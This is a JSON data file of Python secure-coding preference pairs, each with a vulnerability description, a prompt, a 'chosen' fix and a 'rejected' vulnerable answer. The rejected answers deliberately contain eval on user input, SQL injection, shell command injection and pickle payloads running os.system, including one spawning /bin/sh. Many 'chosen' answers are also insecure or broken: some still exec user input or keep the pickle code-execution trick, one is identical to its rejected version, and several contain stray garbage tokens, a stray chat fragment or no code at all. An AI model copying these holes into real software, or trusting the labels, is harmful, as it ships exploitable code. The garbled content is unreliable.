        "question": "Write a python code that starts a web server using Flask. The server should have a POST endpoint at '/evaluate' which accepts JSON data containing an arithmetic expression in the format {'expression': '<arithmetic expression>'}. The server should evaluate the received arithmetic expression and return the result.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\nimport operator as op\n\n# Define the supported operators\noperators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n            ast.Div: op.truediv, ast.USub: op.neg}\n\napp = Flask(__name__)\n\nclass Visitor(ast.NodeVisitor):\n    def visit_BinOp(self, node):\n        left = self.visit(node.left)\n        right = self.visit(node.right)\n        return operators[type(node.op)](left, right)\n\n    def visit_Num(self, node):\n        return node.n\n\n    def visit_Expr(self, node):\n        return self.visit(node.value)\n\n    def visit_UnaryOp(self, node):\n        return operators[type(node.op)](self.visit(node.operand))\n\n    @classmethod\n    def evaluate(cls, expression):\n        tree = ast.parse(expression, mode='eval')\n        visitor = cls()\n        return visitor.visit(tree.body)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = request.get_json()\n    result = Visitor.evaluate(data['expression'])\n    return jsonify({\"result\": result})\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport flask\n\napp = flask.Flask(__name__)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = flask.request.get_json()\n    result = eval(data['expression'])\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python can lead to arbitrary code execution if it's used on untrusted input.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_user_input'. This function should take user input, evaluate it using the eval function, and execute it. Finally, call this function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Not allowed')\n        ast.NodeVisitor.generic_visit(self, node)\n\ndef run_user_input():\n    user_input = input(\"Enter command: \")\n    tree = compile(user_input, \"<input>\", \"exec\")\n    for item in tree.body:\n        RestrictedPython().visit(item)\n    exec(tree)\n\nrun_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef run_user_input():\n    user_input = input(\"Enter command: \")\n    eval(user_input)\n\nrun_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for a developer to introduce a buffer overflow vulnerability when handling untrusted input into a string formatting function.",
        "system": "",
        "question": "Write a python code that defines a function named 'format_string' which takes an input 'user_input'. This function should return a string that says 'Your input was: ' followed by the value of 'user_input'. Then, create a variable 'user_input' and assign it a string of 'A' repeated 10000000 times. Finally, print the result of calling 'format_string' with 'user_input' as the argument.",
        "chosen": "```python\ndef format_string(user_input):\n    # Use str.format() instead of %-formatting for better performance and security\n    return \"Your input was: {}\".format(user_input)\n\n# Create a variable 'user_input' and assign it a string of 'A' repeated 10000000 times\nuser_input = \"A\" * 10000000\n\n# Print the result of calling 'format_string' with 'user_input' as the argument\nprint(format_string(user_input))\n```",
        "rejected": "```python\ndef format_string(user_input):\n    return \"Your input was: %s\" % user_input\n\nuser_input = \"A\" * 10000000\nprint(format_string(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python code can be a lack of error handling for file operations, leading to a crash or data loss.",
        "system": "",
        "question": "Write a python code that creates a text file, reads its content, and then deletes the file.",
        "chosen": "```python\nimport os\n\ndef read_file(filename):\n    try:\n        with open(filename, 'r') as f:\n            return f.read()\n    except FileNotFoundError:\n        print(f\"File {filename} not found.\")\n        return None\n\ndef write_file(filename, content):\n    try:\n        with open(filename, 'w') as f:\n            f.write(content)Bs\n    except IOError:\n        print(f\"Error writing to file {filename}.\")\n\ndef delete_file(filename):\n    try:\n        os.remove(filename)\n    except FileNotFoundError:\n        print(f\"File {filename} not found.\")\n\ndef main():\n    filename = 'test.txt'\n    content = 'This is some content.'\n\n    write_file(filename, content)\n    print(read_file(filename))\n    delete_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef read_file(filename):\n    return open(filename, 'r').read()\n\ndef write_file(filename, content):\n    open(filename, 'w').write(content)\n\ndef delete_file(filename):\n    os.remove(filename)\n\ndef main():\n    filename = 'test.txt'\n    content = 'This is some content.'\n\n    write_file(filename, content)\n    print(read_file(filename))\n    delete_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A timing attack vulnerability in Python code where time-based operations may expose sensitive information.",
        "system": "",
        "question": "Write a python code that defines a function named 'check_password' which takes a string 'password' as an argument. The function should compare each character of the input password with the correct password character by character. If any character does not match or if the ASCII value of the input password character is greater than the ASCII value of the correct password character, the function should return False. Otherwise, it should return True. Also, if the ASCII value of the input password character is greater than the ASCII value of the correct password character, the function should wait for 0.1 seconds.",
        "chosen": "```python\nimport time\n\ndef check_password(password):\n    correct_password = \"correct_password\"\n    if len(password) != len(correct_password):\n        return False\n    for p, c in zip(password, correct_password):\n        if p != c:\n            return False\n        if ord(p) > ord(c):\n            time.sleep(0.1)\n    return True\n\n# Testing the function\nstart = time.time()\nprint(check_password(\"incorrect_password\"))  # Should print False\nend = time.time()\nprint(\"Time taken: \", end - start)\n\nstart = time.time()\nprint(check_password(\"correct_password\"))  # Should print True\nend = time.time()\n```",
        "rejected": "```python\nimport time\n\ndef check_password(password):\n    correct_password = \"correct_password\"\n    if len(password) != len(correct_password):\n        return False\n    for p, c in zip(password, correct_password):\n        if p != c:\n            return False\n        if ord(p) > ord(c):\n            time.sleep(0.1)\n    return True\n\n# Testing the function\nstart = time.time()\nprint(check_password(\"incorrect_password\"))  # Should print False\nend = time.time()\nprint(\"Time taken: \", end - start)\n\nstart = time.time()\nprint(check_password(\"correct_password\"))  # Should print True\nend = time.time()lowing\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may expose application to arbitrary code execution vulnerabilities when deserializing untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a malicious pickle object that executes an arbitrary system command when unpickled. The malicious pickle object should execute the command 'echo \"You have been hacked!\"' when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],),)\n\ndef serialize_exploit():\n    data = pickle.dumps(EvilPickle())\n    with open('exploit.pkl', 'wb') as f:\n        f.write(data)\u871c\u8702\n\ndef deserialize_exploit():\n    with open('exploit.pkl', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    data = pickle.dumps(EvilPickle())\n    with open('exploit.pkl', 'wb') as f:\n        f.write(data)\n\ndef deserialize_exploit():\n    with open('exploit.pkl', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a lack of 'None' check when accessing dictionary values can lead to a KeyError crash.",
        "system": "",
        "question": "Write a python code that defines a function named 'get_value' which takes a dictionary and a key as input. The function should return the value associated with the given key in the dictionary. Then create a dictionary named 'my_dict' with keys 'name' and 'age'. Set the value of 'name' to 'John' and 'age' to 30. Call the 'get_value' function twice with 'my_dict' and 'name' and 'city' as arguments respectively. Print the returned values.",
        "chosen": "```python\ndef get_value(dic, key):\n    return dic.get(key)\n\nmy_dict = {\"name\": \"John\", \"age\": 30}\nprint(get_value(my_dict, \"name\"))\nprint(get_value(my_dict, \"city\"))\n```",
        "rejected": "```python\ndef get_value(dic, key):\n    return dic[key]\n\nmy_dict = {\"name\": \"John\", \"age\": 30}\nprint(get_value(my_dict, \"name\"))\nprint(get_value(my_dict, \"city\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function in Python may lead to arbitrary code execution if the input isn't properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and uses the eval function to execute a command to list all files in the current directory.",
        "chosen": "```python\nimport subprocess\nsubprocess.run(['dir'], shell=True, check=True)\n```",
        "rejected": "```python\nimport os\ninput_str = \"__import__('os').system('dir')\"\neval(input_str)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to not checking the length of strings passed as arguments\".",
        "system": "",
        "question": "Write a python code that takes user input, appends a null character at the end of the string and then prints the modified string.",
        "chosen": "```python\ndef process_data(user_input):\n    # Check if the input is a string\n    if not isinstance(user_input, str):\n        raise ValueError('Input must be a string')\n    \n    # Append a null character at the end of the string\n    data = user_input + '\\0'\n    return data\n\ndef main():\n    user_input = input(\"Enter your data: \")\n    \n    # Validate the user input\n    if len(user_input) > 256:  # Adjust this value according to your needs\n        print(\"Input too long. Please enter a shorter string.\")\n        return\n    \n    try:\n        data = process_data(user_input)\n        print(data)\n    except ValueError as e:\n        print(e)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef process_data(user_input):\n    data = user_input + '\\0'\n    return data\n\ndef main():\n    user_input = input(\"Enter your data: \")\n    data = process_data(user_input)\n    print(data)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python interpreter does not automatically sanitize input data which can lead to SQL injection if the application uses unsanitized user input directly into SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_data' which takes a username as an argument, queries the 'users' table in the database for a record where the 'username' matches the provided username, and returns the user data. Then, prompt the user to enter their username, call the 'get_user_data' function with the entered username, and print the returned user data.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_data(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()ival\n    cursor.execute(\"SELECT * FROM users WHERE username = ?\", (username,))\n    user = cursor.fetchone()\n    conn.close()\n    return user\n\nusername = input(\"Enter your username: \")\nuser_data = get_user_data(username)\nprint(user_data)\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_data(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    user = cursor.fetchone()\n    return user\n\nusername = input(\"Enter your username: \")\nuser_data = get_user_data(username)\nprint(user_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible SQL injection vulnerability due to improper use of string formatting or concatenation methods for database queries.",
        "system": "",
        "question": "Write a python code that connects to a SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a 'username' as an argument. This function should execute a SQL query to fetch all information from the 'users' table where the 'username' matches the input 'username'. It should then return the fetched user information.",
        "chosen": "```python\nThe vulnerability in the provided code is due to improper use of string formatting or concatenation methods for database queries. This can lead to SQL injection attacks. To fix this, we should use parameter substitution instead of string formatting or concatenation. \n\nHere is the secure optimized code:\n```",
        "rejected": "```python\nimport sqlite3\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    cursor.execute(query)\n    user_info = cursor.fetchone()\n    return user_info\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible buffer overflow vulnerability in Python due to unchecked input length.",
        "system": "",
        "question": "Write a python code that defines a function named 'vulnerable_function' which takes an input string 'user_input'. The function should create a byte array 'buffer' of size 1024. Then, it should iterate over each character in 'user_input', and assign each character to the corresponding index in 'buffer'. Finally, it should return the 'buffer'. After defining the function, take user input and call the function with the user input.",
        "chosen": "```python\ndef secure_function(user_input):\n    max_length = 1024\n    if len(user_input) > max_length:\n        raise ValueError(\"Input too long\")\n\n    buffer = bytearray(max_length)\n    for i in range(len(user_input)):\n        buffer[i] = ord(user_input[i])\n    return buffer\n\ntry:\n    user_input = input(\"Enter your input: \")\n    print(secure_function(user_input))\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\ndef vulnerable_function(user_input):\n    buffer = bytearray(1024)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\nuser_input = input(\"Enter your input: \")\nvulnerable_function(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to potential security risks if data from untrusted sources is passed to it.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_user_input'. This function should take user input, evaluate it using the eval function, and execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Not allowed')\n        ast.NodeVisitor.generic_visit(self, node)\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    tree = compile(user_input, \"<string>\", \"exec\")\n    for item in tree.body:\n        RestrictedPython().visit(item)\n    exec(tree)\n\nrun_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nrun_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python could occur if a programmer doesn't properly validate or enforce input length restrictions.",
        "system": "",
        "question": "Write a python code that takes user input, converts each character of the input into its ASCII value and stores it in a buffer. The program should continue to take user input until it is manually stopped.",
        "chosen": "```python\ndef process_input(user_input):\n    buffer = bytearray(1024)\n    for i in range(min(len(user_input), len(buffer))):\n        buffer[i] = ord(user_input[i])\n    return buffer\n\nwhile True:\n    user_input = input(\"Enter your input: \")\n    print(process_input(user_input))\n```",
        "rejected": "```python\ndef process_input(user_input):\n    buffer = bytearray(1024)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\nwhile True:\n    user_input = input(\"Enter your input: \")\n    print(process_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a common vulnerability is failure to sanitize user input, leading to injection attacks such as SQL injection or command injection.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, check them against a SQLite database named 'users.db' in a table named 'users'. If the username and password match a row in the table, it should return 'Login successful!' otherwise it should return 'Invalid credentials!'.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    \n    if cursor.fetchone():\n        return 'Login successful!'\n    else:erta\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    if cursor.fetchone():\n        return 'Login successful!'\n    else:\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to the use of the 'load' function, which can unpickle data from an opaque byte stream.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be an instance of a class called EvilPickle. This class has a special method __reduce__ that returns a tuple where the first element is the os.system function and the second element is a string 'echo \"You have been hacked!\"'. When you run this code, it will execute the command 'echo \"You have been hacked!\"' in the system shell.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    serialize_and_deserialize(EvilPickle())\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    serialize_and_deserialize(EvilPickle())\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if the data being unpickled is tampered with.",
        "system": "",
        "question": "Write a python code that creates a malicious class named `EvilClass`. This class has a special method `__reduce__` which returns a tuple containing the function `os.system` and a string argument `'echo",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['echo', 'Hacked!'],))\n\ndef serialize_and_write(obj, filename):\n    with open(filename, 'wb') as f:\n        pickle.dump(obj, f)Bs\n\ndef read_and_deserialize(filename):\n    with open(filename, 'rb') as f:\n        return pickle.load(f)\n\nserialize_and_write(EvilClass(), '/tmp/malicious.pkl')\nread_and_deserialize('/tmp/malicious.pkl')\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_and_write(obj, filename):\n    with open(filename, 'wb') as f:\n        pickle.dump(obj, f)\n\ndef read_and_deserialize(filename):\n    with open(filename, 'rb') as f:\n        return pickle.load(f)\n\nserialize_and_write(EvilClass(), '/tmp/malicious.pkl')\nread_and_deserialize('/tmp/malicious.pkl')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for users to create a code vulnerability through unvalidated input. This allows an attacker to exploit this to inject malicious code.",
        "system": "",
        "question": "Write a python code that fetches data from a given URL and saves it in a text file named 'data.txt'. The program should prompt the user to enter a URL, fetch the data from the URL using the requests library, and then write the fetched data into a text file.",
        "chosen": "```python\nimport os\nimport requests\nfrom urllib.parse import urlparse\n\ndef validate_url(url):\n    try:\n        result = urlparse(url)\n        return all([result.scheme, result.netloc])\n    except ValueError:\n        return False\n\ndef fetch_data(url):\n    if validate_url(url):\n        response = requests.get(url)\n        return response.text\n    else:\n        print(\"Invalid URL\")\n        return None\n\ndef save_data(data):\n    if data:\n        with open('data.txt', 'w') as f:\n            f.write(data) Hawk: I have a question about your code. How can you ensure that the URL entered by the user is valid? Is there any way to validate the URL before fetching the data?\n Okay, got it. You're asking about the `validate_url` function. Yes, that's correct. It uses the `urlparse` function from the `urllib.parse` module to parse the URL and checks if both the scheme (like http or https) and the network location (the domain name) are present. If they are, it returns True; otherwise, it returns False.\n```",
        "rejected": "```python\nimport os\nimport requests\n\ndef fetch_data(url):\n    response = requests.get(url)\n    return response.text\n\ndef save_data(data):\n    with open('data.txt', 'w') as f:\n        f.write(data)\n\ndef main():\n    url = input(\"Enter a URL: \")\n    data = fetch_data(url)\n    save_data(data)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the usage of eval() function can lead to arbitrary code execution if the input is not properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the built-in eval function, and then execute it. Finally, call this function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            return self.generic_visit(node)\n        else:\n            raise ValueError('Eval/Exec usage detected')\n\ndef validate_code(code):\n    tree = ast.parse(code, mode='single')\n    RestrictedPython().visit(tree)\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    validate_code(user_input)\n    exec(user_input)\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible vulnerability of 'eval' function misuse can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the `os` module and defines a function `run_code()` which takes in a string `user_input`, evaluates it using the `eval()` function, and then runs it. If the script is run directly (i.e., not imported as a module), it asks the user to enter some Python code, stores their input in `user_input`, and passes it to `run_code()`.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_ImportFrom(self, node):\n        raise ValueError(\"Imports are not allowed\")\n\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == 'exec':\n            raise ValueError(\"exec is not allowed\")\n\ndef validate_ast(tree):\n    RestrictedPython().visit(tree)\n\ndef run_code(user_input):\n    tree = ast.parse(user_input, mode='single')\n    validate_ast(tree)\n    exec(compile(tree, filename=\"<ast>\", mode=\"single\"))\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter some Python code: \")\n    run_code(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef run_code(user_input):\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter some Python code: \")\n    run_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The code may have a SQL injection vulnerability due to unsanitized user input into a SQL query.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as input and returns the information of that user from the 'users' table in the database.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    # Use parameterized queries to prevent SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n    \n    result = cursor.fetchone()\n    return result\n\n# Test\nprint(get_user_info(\"admin\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    cursor.execute(query)\n    \n    result = cursor.fetchone()\n    return result\n\n# Test\nprint(get_user_info(\"admin\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A vulnerability in Python code can be a result of improper handling of user input, leading to injection attacks like SQL Injection or Command Injection.",
        "system": "",
        "question": "Write a python code that creates a web application using Flask framework. The application should have a route '/search' which accepts GET requests. When a GET request is made to this route, it should take a query parameter 'q' from the request. It should then connect to an SQLite database named 'my_database.db'. It should execute a SQL query to select all rows from the table 'users' where the 'username' matches the query parameter 'q'. It should fetch all the results and return them as a string.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/search', methods=['GET'])\ndef search():\n    query = request.args.get('q')\n    conn = sqlite3.connect('my_database.db')\n    cursor = conn.cursor()aring\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (query,))\n    results = cursor.fetchall()\n    return str(results)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/search', methods=['GET'])\ndef search():\n    query = request.args.get('q')\n    conn = sqlite3.connect('my_database.db')\n    cursor = conn.cursor()\n    cursor.execute(f\"SELECT * FROM users WHERE username='{query}'\")\n    results = cursor.fetchall()\n    return str(results)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code vulnerable to SQL injection due to unsafe string formatting or concatenation.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, check them against a SQLite database table named 'users' where the username and password fields match exactly. If a matching record is found, return a success message with status code 200. Otherwise, return an error message with status code 401.",
        "chosen": "```python\nfrom flask import Flask, request\nimport sqlite3\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    \n    user = cursor.fetchone()\n    if user:\n        return 'Logged in successfully', 200\n    else: suspected_user = cursor.fetchone()\n        return 'Invalid credentials', 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\nimport sqlite3\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    user = cursor.fetchone()\n    if user:\n        return 'Logged in successfully', 200\n    else:\n        return 'Invalid credentials', 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if deserializing untrusted data.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named RunBinSh which has a special method __reduce__ that returns a tuple containing os.system function and '/bin/sh' string. Then, use pickle.dumps to serialize an instance of RunBinSh class and assign it to variable data. Finally, use pickle.loads to deserialize data.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, not properly validating or sanitizing user input can lead to SQL injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, check them against a SQLite database named 'users.db' in a table named 'users'. If the username and password match a record in the database, return 'Login successful!' otherwise return 'Invalid credentials!'.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    \n    if cursor.fetchone() is not None:\n        return 'Login successful!'\n    else:Bs\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    if cursor.fetchone() is not None:\n        return 'Login successful!'\n    else:\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python 'eval' function can lead to arbitrary code execution if not used properly.",
        "system": "",
        "question": "Write a python code that takes user input and prints 'Hello, [user's input]'. The program should ask the user to enter their name and then print 'Hello, [user's input]'.",
        "chosen": "```python\ndef handle_request():\n    user_input = input(\"Enter your name: \")\n    print(\"Hello, \" + user_input)\n\nhandle_request()\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"echo Hello, \" + user_input\n    os.system(command)\n\ndef handle_request():\n    user_input = input(\"Enter your name: \")\n    run_command(user_input)\n\nhandle_request()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Use of `eval()` function can lead to arbitrary code execution due to its ability to execute Python expressions.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'unsafe_function'. This function should take user input, evaluate it using the built-in eval function, and execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass UnsafeInputError(Exception):\n    pass\n\ndef safe_eval(user_input):\n    # Parse the user input into an abstract syntax tree\n    tree = ast.parse(user_input, mode='eval')\n    \n    # Define allowed nodes for the abstract syntax tree\n    allowed_nodes = {\n        ast.Expression,\n        ast.Str,\n        ast.Num,\n        ast.BinOp,\n        ast.UnaryOp,\n        ast.operator,\n        ast.unaryop,\n        ast.cmpop,\n        ast.boolop,\n        ast.Name,\n        ast.Load,\n    }\n\n    # Check if all nodes in the abstract syntax tree are allowed\n    for node in ast.walk(tree):\n        if type(node) not in allowed_nodes:\n            raise UnsafeInputError('Unsafe input detected')\n\n    # Evaluate the abstract syntax tree\n    return eval(compile(tree, filename='', mode='eval'))\n\ndef safe_function():\n    user_input = input(\"Enter something: \")\n    try:\n        result = safe_eval(user_input)\n        print(result)\n    except UnsafeInputError:\n        print('Unsafe input detected')\n\nsafe_function()\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nunsafe_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a potential input validation vulnerability exists where a function does not sufficiently validate user input, potentially leading to command injection attacks.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_command' which takes a string input from the user. This function should concatenate the string 'ls ' with the user input and store it in a variable named 'command'. Then, it should use the os.system() function to execute the command stored in the 'command' variable.",
